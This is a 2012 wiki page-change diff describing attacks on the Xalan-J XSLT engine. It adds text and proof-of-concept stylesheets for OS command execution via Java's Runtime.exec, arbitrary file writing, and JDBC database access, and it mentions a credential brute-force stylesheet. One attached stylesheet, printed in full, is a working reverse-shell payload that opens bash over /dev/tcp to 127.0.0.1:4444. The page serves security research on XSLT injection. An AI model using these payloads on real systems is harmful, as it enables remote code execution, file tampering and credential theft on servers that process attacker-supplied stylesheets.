Changes for page Engine_XalanJ
on 2012/01/11 23:38
on 2012/01/12 21:53
Summary
-
Page properties (1 modified, 0 added, 0 removed)
-
Attachments (0 modified, 2 added, 0 removed)
Details
- Page properties
-
- Content
-
... ... @@ -50,18 +50,25 @@ 50 50 51 51 == OS command execution == 52 52 53 - Thefollowingcode will executethe command"touch/tmp/hello":53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-) 54 54 55 -<?xml version="1.0"?> 56 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" 57 - xmlns:j="http:~/~/xml.apache.org/xalan/java" 58 - exclude-result-prefixes="j" 59 - version="1.0"> 60 - <xsl:template match="/"> 61 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> 62 - <xsl:variable name="a" select="j:split($c, ' = ')"/> 63 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> 64 - <xsl:variable name="p" select="j:exec($r, $a )"/> 65 - No content at the moment ... 66 - </xsl:template> 67 -</xsl:stylesheet> 55 +|=Namespace|=Extension functions|=PoC 56 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]] 57 + 58 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]]. 59 + 60 +== File creation == 61 + 62 +The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten. 63 + 64 +|=Namespace|=Extension element|=Parameter|=PoC 65 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]] 66 + 67 +== JDBC connectivity == 68 + 69 +It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver. 70 + 71 +|=Namespace|=Extension function|=PoC 72 +|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] 73 + 74 +The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result. The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] one will read some tuples (JDBC driver, database URL, username, passsword) in a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
- xalanj-reverse-bash.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +1002 bytes - Content
-
... ... @@ -1,0 +1,31 @@ 1 +<xsl:stylesheet 2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 + xmlns:jv="http://xml.apache.org/xalan/java" 4 + exclude-result-prefixes="jv" 5 + version="1.0"> 6 + 7 + <xsl:template match="/"> 8 + 9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable> 10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/> 11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/> 12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/> 13 + 14 +Objet "String" : 15 + <xsl:value-of select="$test"/> 16 + 17 +Objet "Array" : 18 + <xsl:variable name="aAsString" select="jv:toString($a)"/> 19 + <xsl:value-of select="$aAsString"/> 20 + 21 +Objet "Runtime" : 22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/> 23 + <xsl:value-of select="$rtobjectAsString"/> 24 + 25 +Objet "Process" : 26 + <xsl:variable name="processAsString" select="jv:toString($process)"/> 27 + <xsl:value-of select="$processAsString"/> 28 + 29 + </xsl:template> 30 +</xsl:stylesheet> 31 +
- xalanj-write.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +373 bytes - Content
-
... ... @@ -1,0 +1,13 @@ 1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 + xmlns:redir="http://xml.apache.org/xalan/redirect" 3 + extension-element-prefixes="redir" 4 + version='1.0'> 5 + 6 + <xsl:template match="/"> 7 + <redir:write file="/tmp/created_by_xalanj_write" method="text"> 8 + <xsl:text>Just a PoC</xsl:text> 9 + </redir:write> 10 + </xsl:template> 11 + 12 +</xsl:stylesheet> 13 +